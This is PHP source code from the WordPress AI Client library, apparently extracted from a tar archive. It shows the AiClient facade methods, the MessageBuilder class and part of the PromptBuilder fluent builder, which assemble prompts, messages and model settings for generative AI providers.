* Supports multiple input formats for developer convenience:
* - ProviderAvailabilityInterface: Direct availability check
* - string (provider ID): e.g., AiClient::isConfigured('openai')
* - string (class name): e.g., AiClient::isConfigured(OpenAiProvider::class)
*
* When using string input, this method leverages the ProviderRegistry's centralized
* dependency management, ensuring HttpTransporter and authentication are properly
* injected into availability instances.
*
* @since 0.1.0
* @since 0.2.0 Now supports being passed a provider ID or class name.
*
* @param ProviderAvailabilityInterface|string|class-string<ProviderInterface> $availabilityOrIdOrClassName
* The provider availability instance, provider ID, or provider class name.
* @return bool True if the provider is configured and available, false otherwise.
*/
public static function isConfigured($availabilityOrIdOrClassName): bool
{
// Handle direct ProviderAvailabilityInterface (backward compatibility)
if ($availabilityOrIdOrClassName instanceof ProviderAvailabilityInterface) {
return $availabilityOrIdOrClassName->isConfigured();
}
// Handle string input (provider ID or class name) via registry
if (is_string($availabilityOrIdOrClassName)) {
return self::defaultRegistry()->isProviderConfigured($availabilityOrIdOrClassName);
}
throw new \InvalidArgumentException('Parameter must be a ProviderAvailabilityInterface instance, provider ID string, or provider class name. ' . sprintf('Received: %s', is_object($availabilityOrIdOrClassName) ? get_class($availabilityOrIdOrClassName) : gettype($availabilityOrIdOrClassName)));
}
/**
* Creates a new prompt builder for fluent API usage.
*
* Returns a PromptBuilder instance configured with the specified or default registry.
* The traditional API methods in this class delegate to PromptBuilder
* for all generation logic.
*
* @since 0.1.0
*
* @param Prompt $prompt Optional initial prompt content.
* @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
* @return PromptBuilder The prompt builder instance.
*/
public static function prompt($prompt = null, ?ProviderRegistry $registry = null): PromptBuilder
{
return new PromptBuilder($registry ?? self::defaultRegistry(), $prompt, self::$eventDispatcher);
}
/**
* Generates content using a unified API that automatically detects model capabilities.
*
* When no model is provided, this method delegates to PromptBuilder for intelligent
* model discovery based on prompt content and configuration. When a model is provided,
* it infers the capability from the model's interfaces and delegates to the capability-based method.
*
* @since 0.1.0
*
* @param Prompt $prompt The prompt content.
* @param ModelInterface|ModelConfig $modelOrConfig Specific model to use, or model configuration
* for auto-discovery.
* @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
* @return GenerativeAiResult The generation result.
*
* @throws \InvalidArgumentException If the provided model doesn't support any known generation type.
* @throws \RuntimeException If no suitable model can be found for the prompt.
*/
public static function generateResult($prompt, $modelOrConfig, ?ProviderRegistry $registry = null): GenerativeAiResult
{
self::validateModelOrConfigParameter($modelOrConfig);
return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateResult();
}
/**
* Generates text using the traditional API approach.
*
* @since 0.1.0
*
* @param Prompt $prompt The prompt content.
* @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use,
* or model configuration for auto-discovery,
* or null for defaults.
* @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
* @return GenerativeAiResult The generation result.
*
* @throws \InvalidArgumentException If the prompt format is invalid.
* @throws \RuntimeException If no suitable model is found.
*/
public static function generateTextResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult
{
self::validateModelOrConfigParameter($modelOrConfig);
return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateTextResult();
}
/**
* Generates an image using the traditional API approach.
*
* @since 0.1.0
*
* @param Prompt $prompt The prompt content.
* @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use,
* or model configuration for auto-discovery,
* or null for defaults.
* @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
* @return GenerativeAiResult The generation result.
*
* @throws \InvalidArgumentException If the prompt format is invalid.
* @throws \RuntimeException If no suitable model is found.
*/
public static function generateImageResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult
{
self::validateModelOrConfigParameter($modelOrConfig);
return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateImageResult();
}
/**
* Converts text to speech using the traditional API approach.
*
* @since 0.1.0
*
* @param Prompt $prompt The prompt content.
* @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use,
* or model configuration for auto-discovery,
* or null for defaults.
* @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
* @return GenerativeAiResult The generation result.
*
* @throws \InvalidArgumentException If the prompt format is invalid.
* @throws \RuntimeException If no suitable model is found.
*/
public static function convertTextToSpeechResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult
{
self::validateModelOrConfigParameter($modelOrConfig);
return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->convertTextToSpeechResult();
}
/**
* Generates speech using the traditional API approach.
*
* @since 0.1.0
*
* @param Prompt $prompt The prompt content.
* @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use,
* or model configuration for auto-discovery,
* or null for defaults.
* @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
* @return GenerativeAiResult The generation result.
*
* @throws \InvalidArgumentException If the prompt format is invalid.
* @throws \RuntimeException If no suitable model is found.
*/
public static function generateSpeechResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult
{
self::validateModelOrConfigParameter($modelOrConfig);
return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateSpeechResult();
}
/**
* Generates a video using the traditional API approach.
*
* @since 1.3.0
*
* @param Prompt $prompt The prompt content.
* @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use,
* or model configuration for auto-discovery,
* or null for defaults.
* @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
* @return GenerativeAiResult The generation result.
*
* @throws \InvalidArgumentException If the prompt format is invalid.
* @throws \RuntimeException If no suitable model is found.
*/
public static function generateVideoResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult
{
self::validateModelOrConfigParameter($modelOrConfig);
return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateVideoResult();
}
/**
* Creates a new message builder for fluent API usage.
*
* This method will be implemented once MessageBuilder is available.
* MessageBuilder will provide a fluent interface for constructing complex
* messages with multiple parts, attachments, and metadata.
*
* @since 0.1.0
*
* @param string|null $text Optional initial message text.
* @return object MessageBuilder instance (type will be updated when MessageBuilder is available).
*
* @throws \RuntimeException When MessageBuilder is not yet available.
*/
public static function message(?string $text = null)
{
throw new RuntimeException('MessageBuilder is not yet available. This method depends on builder infrastructure. ' . 'Use direct generation methods (generateTextResult, generateImageResult, etc.) for now.');
}
/**
* Validates that parameter is ModelInterface, ModelConfig, or null.
*
* @param mixed $modelOrConfig The parameter to validate.
* @return void
* @throws \InvalidArgumentException If parameter is invalid type.
*/
private static function validateModelOrConfigParameter($modelOrConfig): void
{
if ($modelOrConfig !== null && !$modelOrConfig instanceof ModelInterface && !$modelOrConfig instanceof ModelConfig) {
throw new InvalidArgumentException('Parameter must be a ModelInterface instance (specific model), ' . 'ModelConfig instance (for auto-discovery), or null (default auto-discovery). ' . sprintf('Received: %s', is_object($modelOrConfig) ? get_class($modelOrConfig) : gettype($modelOrConfig)));
}
}
/**
* Configures PromptBuilder based on model/config parameter type.
*
* @param Prompt $prompt The prompt content.
* @param ModelInterface|ModelConfig|null $modelOrConfig The model or config parameter.
* @param ProviderRegistry|null $registry Optional custom registry to use.
* @return PromptBuilder Configured prompt builder.
*/
private static function getConfiguredPromptBuilder($prompt, $modelOrConfig, ?ProviderRegistry $registry = null): PromptBuilder
{
$builder = self::prompt($prompt, $registry);
if ($modelOrConfig instanceof ModelInterface) {
$builder->usingModel($modelOrConfig);
} elseif ($modelOrConfig instanceof ModelConfig) {
$builder->usingModelConfig($modelOrConfig);
}
// null case: use default model discovery
return $builder;
}
}
src/Builders/MessageBuilder.php 0000644 00000014672 15220530455 0012523 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Builders;
use InvalidArgumentException;
use WordPress\AiClient\Files\DTO\File;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Messages\DTO\MessagePart;
use WordPress\AiClient\Messages\Enums\MessageRoleEnum;
use WordPress\AiClient\Tools\DTO\FunctionCall;
use WordPress\AiClient\Tools\DTO\FunctionResponse;
/**
* Fluent builder for constructing AI messages.
*
* This class provides a fluent interface for building messages with various
* content types including text, files, function calls, and function responses.
*
* @since 0.2.0
*
* @phpstan-import-type MessagePartArrayShape from MessagePart
*
* @phpstan-type Input string|MessagePart|MessagePartArrayShape|File|FunctionCall|FunctionResponse|null
*/
class MessageBuilder
{
/**
* @var MessageRoleEnum|null The role of the message sender.
*/
protected ?MessageRoleEnum $role = null;
/**
* @var list<MessagePart> The parts that make up the message.
*/
protected array $parts = [];
/**
* Constructor.
*
* @since 0.2.0
*
* @param Input $input Optional initial content.
* @param MessageRoleEnum|null $role Optional role.
*/
public function __construct($input = null, ?MessageRoleEnum $role = null)
{
$this->role = $role;
if ($input === null) {
return;
}
// Handle different input types
if ($input instanceof MessagePart) {
$this->parts[] = $input;
} elseif (is_string($input)) {
$this->withText($input);
} elseif ($input instanceof File) {
$this->withFile($input);
} elseif ($input instanceof FunctionCall) {
$this->withFunctionCall($input);
} elseif ($input instanceof FunctionResponse) {
$this->withFunctionResponse($input);
} elseif (is_array($input) && MessagePart::isArrayShape($input)) {
$this->parts[] = MessagePart::fromArray($input);
} else {
throw new InvalidArgumentException('Input must be a string, MessagePart, MessagePartArrayShape, File, FunctionCall, or FunctionResponse.');
}
}
/**
* Creates a deep clone of this builder.
*
* Clones all MessagePart objects in the parts array to ensure
* the cloned builder is independent of the original.
*
* @since 0.4.2
*/
public function __clone()
{
// Deep clone parts array (MessagePart has __clone)
$clonedParts = [];
foreach ($this->parts as $part) {
$clonedParts[] = clone $part;
}
$this->parts = $clonedParts;
// Note: $role is an enum value object and can be safely shared
}
/**
* Sets the role of the message sender.
*
* @since 0.2.0
*
* @param MessageRoleEnum $role The role to set.
* @return self
*/
public function usingRole(MessageRoleEnum $role): self
{
$this->role = $role;
return $this;
}
/**
* Sets the role to user.
*
* @since 0.2.0
*
* @return self
*/
public function usingUserRole(): self
{
return $this->usingRole(MessageRoleEnum::user());
}
/**
* Sets the role to model.
*
* @since 0.2.0
*
* @return self
*/
public function usingModelRole(): self
{
return $this->usingRole(MessageRoleEnum::model());
}
/**
* Adds text content to the message.
*
* @since 0.2.0
*
* @param string $text The text to add.
* @return self
* @throws InvalidArgumentException If the text is empty.
*/
public function withText(string $text): self
{
if (trim($text) === '') {
throw new InvalidArgumentException('Text content cannot be empty.');
}
$this->parts[] = new MessagePart($text);
return $this;
}
/**
* Adds a file to the message.
*
* Accepts:
* - File object
* - URL string (remote file)
* - Base64-encoded data string
* - Data URI string (data:mime/type;base64,data)
* - Local file path string
*
* @since 0.2.0
*
* @param string|File $file The file to add.
* @param string|null $mimeType Optional MIME type (ignored if File object provided).
* @return self
* @throws InvalidArgumentException If the file is invalid.
*/
public function withFile($file, ?string $mimeType = null): self
{
$file = $file instanceof File ? $file : new File($file, $mimeType);
$this->parts[] = new MessagePart($file);
return $this;
}
/**
* Adds a function call to the message.
*
* @since 0.2.0
*
* @param FunctionCall $functionCall The function call to add.
* @return self
*/
public function withFunctionCall(FunctionCall $functionCall): self
{
$this->parts[] = new MessagePart($functionCall);
return $this;
}
/**
* Adds a function response to the message.
*
* @since 0.2.0
*
* @param FunctionResponse $functionResponse The function response to add.
* @return self
*/
public function withFunctionResponse(FunctionResponse $functionResponse): self
{
$this->parts[] = new MessagePart($functionResponse);
return $this;
}
/**
* Adds multiple message parts to the message.
*
* @since 0.2.0
*
* @param MessagePart ...$parts The message parts to add.
* @return self
*/
public function withMessageParts(MessagePart ...$parts): self
{
foreach ($parts as $part) {
$this->parts[] = $part;
}
return $this;
}
/**
* Builds and returns the Message object.
*
* @since 0.2.0
*
* @return Message The built message.
* @throws InvalidArgumentException If the message validation fails.
*/
public function get(): Message
{
if (empty($this->parts)) {
throw new InvalidArgumentException('Cannot build an empty message. Add content using withText() or similar methods.');
}
if ($this->role === null) {
throw new InvalidArgumentException('Cannot build a message with no role. Set a role using usingRole() or similar methods.');
}
// At this point, we've validated that $this->role is not null
/** @var MessageRoleEnum $role */
$role = $this->role;
return new Message($role, $this->parts);
}
}
src/Builders/PromptBuilder.php 0000644 00000153503 15220530455 0012415 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Builders;
use WordPress\AiClientDependencies\Psr\EventDispatcher\EventDispatcherInterface;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Events\AfterGenerateResultEvent;
use WordPress\AiClient\Events\BeforeGenerateResultEvent;
use WordPress\AiClient\Files\DTO\File;
use WordPress\AiClient\Files\Enums\FileTypeEnum;
use WordPress\AiClient\Files\Enums\MediaOrientationEnum;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Messages\DTO\MessagePart;
use WordPress\AiClient\Messages\DTO\UserMessage;
use WordPress\AiClient\Messages\Enums\MessageRoleEnum;
use WordPress\AiClient\Messages\Enums\ModalityEnum;
use WordPress\AiClient\Providers\ApiBasedImplementation\Contracts\ApiBasedModelInterface;
use WordPress\AiClient\Providers\Http\DTO\RequestOptions;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
use WordPress\AiClient\Providers\Models\DTO\ModelRequirements;
use WordPress\AiClient\Providers\Models\Enums\CapabilityEnum;
use WordPress\AiClient\Providers\Models\ImageGeneration\Contracts\ImageGenerationModelInterface;
use WordPress\AiClient\Providers\Models\SpeechGeneration\Contracts\SpeechGenerationModelInterface;
use WordPress\AiClient\Providers\Models\TextGeneration\Contracts\TextGenerationModelInterface;
use WordPress\AiClient\Providers\Models\TextToSpeechConversion\Contracts\TextToSpeechConversionModelInterface;
use WordPress\AiClient\Providers\Models\VideoGeneration\Contracts\VideoGenerationModelInterface;
use WordPress\AiClient\Providers\ProviderRegistry;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
use WordPress\AiClient\Tools\DTO\FunctionDeclaration;
use WordPress\AiClient\Tools\DTO\FunctionResponse;
use WordPress\AiClient\Tools\DTO\WebSearch;
/**
* Fluent builder for constructing AI prompts.
*
* This class provides a fluent interface for building prompts with various
* content types and model configurations. It automatically infers model
* requirements based on the features used in the prompt.
*
* @since 0.1.0
*
* @phpstan-import-type MessageArrayShape from Message
* @phpstan-import-type MessagePartArrayShape from MessagePart
*
* @phpstan-type Prompt string|MessagePart|Message|MessageArrayShape|list<string|MessagePart|MessagePartArrayShape>|list<Message>|null
*/
class PromptBuilder
{
/**
* @var ProviderRegistry The provider registry for finding suitable models.
*/
private ProviderRegistry $registry;
/**
* @var list<Message> The messages in the conversation.
*/
protected array $messages = [];
/**
* @var ModelInterface|null The model to use for generation.
*/
protected ?ModelInterface $model = null;
/**
* @var list<string> Ordered list of preference keys to check when selecting a model.
*/
protected array $modelPreferenceKeys = [];
/**
* @var string|null The provider ID or class name.
*/
protected ?string $providerIdOrClassName = null;
/**
* @var ModelConfig The model configuration.
*/
protected ModelConfig $modelConfig;
/**
* @var RequestOptions|null The request options for HTTP transport.
*/
protected ?RequestOptions $requestOptions = null;
/**
* @var EventDispatcherInterface|null The event dispatcher for prompt lifecycle events.
*/
private ?EventDispatcherInterface $eventDispatcher = null;
// phpcs:disable Generic.Files.LineLength.TooLong
/**
* Constructor.
*
* @since 0.1.0
*
* @param ProviderRegistry $registry The provider registry for finding suitable models.
* @param Prompt $prompt Optional initial prompt content.
* @param EventDispatcherInterface|null $eventDispatcher Optional event dispatcher for lifecycle events.
*/
// phpcs:enable Generic.Files.LineLength.TooLong
public function __construct(ProviderRegistry $registry, $prompt = null, ?EventDispatcherInterface $eventDispatcher = null)
{
$this->registry = $registry;
$this->modelConfig = new ModelConfig();
$this->eventDispatcher = $eventDispatcher;
if ($prompt === null) {
return;
}
// Check if it's a list of Messages - set as messages
if ($this->isMessagesList($prompt)) {
$this->messages = $prompt;
return;
}
// Parse it as a user message
$userMessage = $this->parseMessage($prompt, MessageRoleEnum::user());
$this->messages[] = $userMessage;
}
/**
* Creates a deep clone of this builder.
*
* Clones all mutable state including messages, model configuration, and request options.
* Service objects (registry, model, event dispatcher) are intentionally NOT cloned
* as they are shared dependencies.
*
* @since 0.4.2
*/
public function __clone()
{
// Deep clone messages array (Message has __clone)
$clonedMessages = [];
foreach ($this->messages as $message) {
$clonedMessages[] = clone $message;
}
$this->messages = $clonedMessages;
// Clone model config (ModelConfig has __clone)
$this->modelConfig = clone $this->modelConfig;
// Clone request options if set (contains only primitives)
if ($this->requestOptions !== null) {
$this->requestOptions = clone $this->requestOptions;
}
// Note: $registry, $model, and $eventDispatcher are service objects
// and are intentionally NOT cloned - they should be shared references.
}
/**
* Adds text to the current message.
*
* @since 0.1.0
*
* @param string $text The text to add.
* @return self
*/
public function withText(string $text): self
{
$part = new MessagePart($text);
$this->appendPartToMessages($part);
return $this;
}
/**
* Adds a file to the current message.
*
* Accepts:
* - File object
* - URL string (remote file)
* - Base64-encoded data string
* - Data URI string (data:mime/type;base64,data)
* - Local file path string
*
* @since 0.1.0
*
* @param string|File $file The file (File object or string representation).
* @param string|null $mimeType The MIME type (optional, ignored if File object provided).
* @return self
* @throws InvalidArgumentException If the file is invalid or MIME type cannot be determined.
*/
public function withFile($file, ?string $mimeType = null): self
{
$file = $file instanceof File ? $file : new File($file, $mimeType);
$part = new MessagePart($file);
$this->appendPartToMessages($part);
return $this;
}
/**
* Adds a function response to the current message.
*
* @since 0.1.0
*
* @param FunctionResponse $functionResponse The function response.
* @return self
*/
public function withFunctionResponse(FunctionResponse $functionResponse): self
{
$part = new MessagePart($functionResponse);
$this->appendPartToMessages($part);
return $this;
}
/**
* Adds message parts to the current message.
*
* @since 0.1.0
*
* @param MessagePart ...$parts The message parts to add.
* @return self
*/
public function withMessageParts(MessagePart ...$parts): self
{
foreach ($parts as $part) {
$this->appendPartToMessages($part);
}
return $this;
}
/**
* Adds conversation history messages.
*
* Historical messages are prepended to the beginning of the message list,
* before the current message being built.
*
* @since 0.1.0
*
* @param Message ...$messages The messages to add to history.
* @return self
*/
public function withHistory(Message ...$messages): self
{
// Prepend the history messages to the beginning of the messages array
$this->messages = array_merge($messages, $this->messages);
return $this;
}
/**
* Sets the model to use for generation.
*
* The model's configuration will be merged with the builder's configuration,
* with the builder's configuration taking precedence for any overlapping settings.
*
* @since 0.1.0
*
* @param ModelInterface $model The model to use.
* @return self
*/
public function usingModel(ModelInterface $model): self
{
$this->model = $model;
// Merge model's config with builder's config, with builder's config taking precedence
$modelConfigArray = $model->getConfig()->toArray();
$builderConfigArray = $this->modelConfig->toArray();
$mergedConfigArray = array_merge($modelConfigArray, $builderConfigArray);
$this->modelConfig = ModelConfig::fromArray($mergedConfigArray);
return $this;
}
/**
* Sets preferred models to evaluate in order.
*
* @since 0.2.0
*
* @param string|ModelInterface|array{0:string,1:string} ...$preferredModels The preferred models as model IDs,
* model instances, or [provider ID, model ID] tuples. For broader compatibility, it is recommended you specify
* only model IDs or model instances, as that will allow for different providers that expose the same model to be
* considered.
* @return self
*
* @throws InvalidArgumentException When a preferred model has an invalid type or identifier.
*/
public function usingModelPreference(...$preferredModels): self
{
if ($preferredModels === []) {
throw new InvalidArgumentException('At least one model preference must be provided.');
}
$preferenceKeys = [];
foreach ($preferredModels as $preferredModel) {
if (is_array($preferredModel)) {
// [model identifier, provider ID] tuple
if (!array_is_list($preferredModel) || count($preferredModel) !== 2) {
throw new InvalidArgumentException('Model preference tuple must contain model identifier and provider ID.');
}
[$providerId, $modelId] = $preferredModel;
$modelId = $this->normalizePreferenceIdentifier($modelId);
$providerId = $this->normalizePreferenceIdentifier($providerId, 'Model preference provider identifiers cannot be empty.');
$preferenceKey = $this->createProviderModelPreferenceKey($providerId, $modelId);
} elseif ($preferredModel instanceof ModelInterface) {
// Model instance
$modelId = $preferredModel->metadata()->getId();
$providerId = $preferredModel->providerMetadata()->getId();
$preferenceKey = $this->createProviderModelPreferenceKey($providerId, $modelId);
} elseif (is_string($preferredModel)) {
// Model ID
$modelId = $this->normalizePreferenceIdentifier($preferredModel);
$preferenceKey = $this->createModelPreferenceKey($modelId);
} else {
// Invalid type
throw new InvalidArgumentException('Model preferences must be model identifiers, instances of ModelInterface, ' . 'or provider/model tuples.');
}
$preferenceKeys[] = $preferenceKey;
}
$this->modelPreferenceKeys = $preferenceKeys;
return $this;
}
/**
* Sets the model configuration.
*
* Merges the provided configuration with the builder's configuration,
* with builder configuration taking precedence.
*
* @since 0.1.0
*
* @param ModelConfig $config The model configuration to merge.
* @return self
*/
public function usingModelConfig(ModelConfig $config): self
{
// Convert both configs to arrays
$builderConfigArray = $this->modelConfig->toArray();
$providedConfigArray = $config->toArray();
// Merge arrays with builder config taking precedence
$mergedArray = array_merge($providedConfigArray, $builderConfigArray);
// Create new config from merged array
$this->modelConfig = ModelConfig::fromArray($mergedArray);
return $this;
}
/**
* Sets the provider to use for generation.
*
* @since 0.1.0
*
* @param string $providerIdOrClassName The provider ID or class name.
* @return self
*/
public function usingProvider(string $providerIdOrClassName): self
{
$this->providerIdOrClassName = $providerIdOrClassName;
return $this;
}
/**
* Sets the system instruction.
*
* System instructions are stored in the model configuration and guide
* the AI model's behavior throughout the conversation.
*
* @since 0.1.0
*
* @param string $systemInstruction The system instruction text.
* @return self
*/
public function usingSystemInstruction(string $systemInstruction): self
{
$this->modelConfig->setSystemInstruction($systemInstruction);
return $this;
}
/**
* Sets the maximum number of tokens to generate.
*
* @since 0.1.0
*
* @param int $maxTokens The maximum number of tokens.
* @return self
*/
public function usingMaxTokens(int $maxTokens): self
{
$this->modelConfig->setMaxTokens($maxTokens);
return $this;
}
/**
* Sets the temperature for generation.
*
* @since 0.1.0
*
* @param float $temperature The temperature value.
* @return self
*/
public function usingTemperature(float $temperature): self
{
$this->modelConfig->setTemperature($temperature);
return $this;
}
/**
* Sets the top-p value for generation.
*
* @since 0.1.0
*
* @param float $topP The top-p value.
* @return self
*/
public function usingTopP(float $topP): self
{
$this->modelConfig->setTopP($topP);
return $this;
}
/**
* Sets the top-k value for generation.
*
* @since 0.1.0
*
* @param int $topK The top-k value.
* @return self
*/
public function usingTopK(int $topK): self
{
$this->modelConfig->setTopK($topK);
return $this;
}
/**
* Sets stop sequences for generation.
*
* @since 0.1.0
*
* @param string ...$stopSequences The stop sequences.
* @return self
*/
public function usingStopSequences(string ...$stopSequences): self
{
$this->modelConfig->setStopSequences($stopSequences);
return $this;
}
/**
* Sets the number of candidates to generate.
*
* @since 0.1.0
*
* @param int $candidateCount The number of candidates.
* @return self
*/
public function usingCandidateCount(int $candidateCount): self
{
$this->modelConfig->setCandidateCount($candidateCount);
return $this;
}
/**
* Sets the function declarations available to the model.
*
* @since 0.1.0
*
* @param FunctionDeclaration ...$functionDeclarations The function declarations.
* @return self
*/
public function usingFunctionDeclarations(FunctionDeclaration ...$functionDeclarations): self
{
$this->modelConfig->setFunctionDeclarations($functionDeclarations);
return $this;
}
/**
* Sets the presence penalty for generation.
*
* @since 0.1.0
*
* @param float $presencePenalty The presence penalty value.
* @return self
*/
public function usingPresencePenalty(float $presencePenalty): self
{
$this->modelConfig->setPresencePenalty($presencePenalty);
return $this;
}
/**
* Sets the frequency penalty for generation.
*
* @since 0.1.0
*
* @param float $frequencyPenalty The frequency penalty value.
* @return self
*/
public function usingFrequencyPenalty(float $frequencyPenalty): self
{
$this->modelConfig->setFrequencyPenalty($frequencyPenalty);
return $this;
}
/**
* Sets the web search configuration.
*
* @since 0.1.0
*
* @param WebSearch $webSearch The web search configuration.
* @return self
*/
public function usingWebSearch(WebSearch $webSearch): self
{
$this->modelConfig->setWebSearch($webSearch);
return $this;
}
/**
* Sets the request options for HTTP transport.
*
* @since 0.3.0
*
* @param RequestOptions $requestOptions The request options.
* @return self
*/
public function usingRequestOptions(RequestOptions $requestOptions): self
{
$this->requestOptions = $requestOptions;
return $this;
}
/**
* Sets the top log probabilities configuration.
*
* If $topLogprobs is null, enables log probabilities.
* If $topLogprobs has a value, enables log probabilities and sets the number of top log probabilities to return.
*
* @since 0.1.0
*
* @param int|null $topLogprobs The number of top log probabilities to return, or null to enable log probabilities.
* @return self
*/
public function usingTopLogprobs(?int $topLogprobs = null): self
{
// Always enable log probabilities
$this->modelConfig->setLogprobs(\true);
// If a specific number is provided, set it
if ($topLogprobs !== null) {
$this->modelConfig->setTopLogprobs($topLogprobs);
}
return $this;
}
/**
* Sets the output MIME type.
*
* @since 0.1.0
*
* @param string $mimeType The MIME type.
* @return self
*/
public function asOutputMimeType(string $mimeType): self
{
$this->modelConfig->setOutputMimeType($mimeType);
return $this;
}
/**
* Sets the output schema.
*
* @since 0.1.0
*
* @param array<string, mixed> $schema The output schema.
* @return self
*/
public function asOutputSchema(array $schema): self
{
$this->modelConfig->setOutputSchema($schema);
return $this;
}
/**
* Sets the output modalities.
*
* @since 0.1.0
*
* @param ModalityEnum ...$modalities The output modalities.
* @return self
*/
public function asOutputModalities(ModalityEnum ...$modalities): self
{
$this->modelConfig->setOutputModalities($modalities);
return $this;
}
/**
* Sets the output file type.
*
* @since 0.1.0
*
* @param FileTypeEnum $fileType The output file type.
* @return self
*/
public function asOutputFileType(FileTypeEnum $fileType): self
{
$this->modelConfig->setOutputFileType($fileType);
return $this;
}
/**
* Sets the output media orientation.
*
* @since 1.3.0
*
* @param MediaOrientationEnum $orientation The output media orientation.
* @return self
*/
public function asOutputMediaOrientation(MediaOrientationEnum $orientation): self
{
$this->modelConfig->setOutputMediaOrientation($orientation);
return $this;
}
/**
* Sets the output media aspect ratio.
*
* If set, this supersedes the output media orientation, as it is a more
* specific configuration.
*
* @since 1.3.0
*
* @param string $aspectRatio The aspect ratio (e.g. "16:9", "3:2").
* @return self
*/
public function asOutputMediaAspectRatio(string $aspectRatio): self
{
$this->modelConfig->setOutputMediaAspectRatio($aspectRatio);
return $this;
}
/**
* Sets the output speech voice.
*
* @since 1.3.0
*
* @param string $voice The output speech voice.
* @return self
*/
public function asOutputSpeechVoice(string $voice): self
{
$this->modelConfig->setOutputSpeechVoice($voice);
return $this;
}
/**
* Configures the prompt for JSON response output.
*
* @since 0.1.0
*
* @param array<string, mixed>|null $schema Optional JSON schema.
* @return self
*/
public function asJsonResponse(?array $schema = null): self
{
$this->asOutputMimeType('application/json');
if ($schema !== null) {
$this->asOutputSchema($schema);
}
return $this;
}
/**
* Infers the capability from configured output modalities.
*
* @since 0.1.0
*
* @return CapabilityEnum The inferred capability.
* @throws RuntimeException If the output modality is not supported.
*/
private function inferCapabilityFromOutputModalities(): CapabilityEnum
{
// Get the configured output modalities
$outputModalities = $this->modelConfig->getOutputModalities();
// Default to text if no output modality is specified
if ($outputModalities === null || empty($outputModalities)) {
return CapabilityEnum::textGeneration();
}
// Multi-modal output (multiple modalities) defaults to text generation. This is temporary
// as a multi-modal interface will be implemented in the future.
if (count($outputModalities) > 1) {
return CapabilityEnum::textGeneration();
}
// Infer capability from single output modality
$outputModality = $outputModalities[0];
if ($outputModality->isText()) {
return CapabilityEnum::textGeneration();
} elseif ($outputModality->isImage()) {
return CapabilityEnum::imageGeneration();
} elseif ($outputModality->isAudio()) {
return CapabilityEnum::speechGeneration();
} elseif ($outputModality->isVideo()) {
return CapabilityEnum::videoGeneration();
} else {
// For unsupported modalities, provide a clear error message
throw new RuntimeException(sprintf('Output modality "%s" is not yet supported.', $outputModality->value));
}
}
/**
* Infers the capability from a model's implemented interfaces.
*
* @since 0.1.0
*
* @param ModelInterface $model The model to infer capability from.
* @return CapabilityEnum|null The inferred capability, or null if none can be inferred.
*/
private function inferCapabilityFromModelInterfaces(ModelInterface $model): ?CapabilityEnum
{
// Check model interfaces in order of preference
if ($model instanceof TextGenerationModelInterface) {
return CapabilityEnum::textGeneration();
}
if ($model instanceof ImageGenerationModelInterface) {
return CapabilityEnum::imageGeneration();
}
if ($model instanceof TextToSpeechConversionModelInterface) {
return CapabilityEnum::textToSpeechConversion();
}
if ($model instanceof SpeechGenerationModelInterface) {
return CapabilityEnum::speechGeneration();
}
if ($model instanceof VideoGenerationModelInterface) {
return CapabilityEnum::videoGeneration();
}
// No supported interface found
return null;
}
/**
* Checks if the current prompt is supported by the selected model.
*
* @since 0.1.0
* @since 0.3.0 Method visibility changed to public.
*
* @param CapabilityEnum|null $capability Optional capability to check support for.
* @return bool True if supported, false otherwise.
*/
public function isSupported(?CapabilityEnum $capability = null): bool
{
// If no intended capability provided, infer from output modalities
if ($capability === null) {
// First try to infer from a specific model if one is set
if ($this->model !== null) {
$inferredCapability = $this->inferCapabilityFromModelInterfaces($this->model);
if ($inferredCapability !== null) {
$capability = $inferredCapability;
}
}
// If still no capability, infer from output modalities
if ($capability === null) {
$capability = $this->inferCapabilityFromOutputModalities();
}
}
// Build requirements with the specified capability
$requirements = ModelRequirements::fromPromptData($capability, $this->messages, $this->modelConfig);
// If the model has been set, check if it meets the requirements
if ($this->model !== null) {
return $requirements->areMetBy($this->model->metadata());
}
try {
// Check if any models support these requirements
$models = $this->registry->findModelsMetadataForSupport($requirements);
return !empty($models);
} catch (InvalidArgumentException $e) {
// No models support the requirements
return \false;
}
}
/**
* Checks if the prompt is supported for text generation.
*
* @since 0.1.0
*
* @return bool True if text generation is supported.
*/
public function isSupportedForTextGeneration(): bool
{
return $this->isSupported(CapabilityEnum::textGeneration());
}
/**
* Checks if the prompt is supported for image generation.
*
* @since 0.1.0
*
* @return bool True if image generation is supported.
*/
public function isSupportedForImageGeneration(): bool
{
return $this->isSupported(CapabilityEnum::imageGeneration());
}
/**
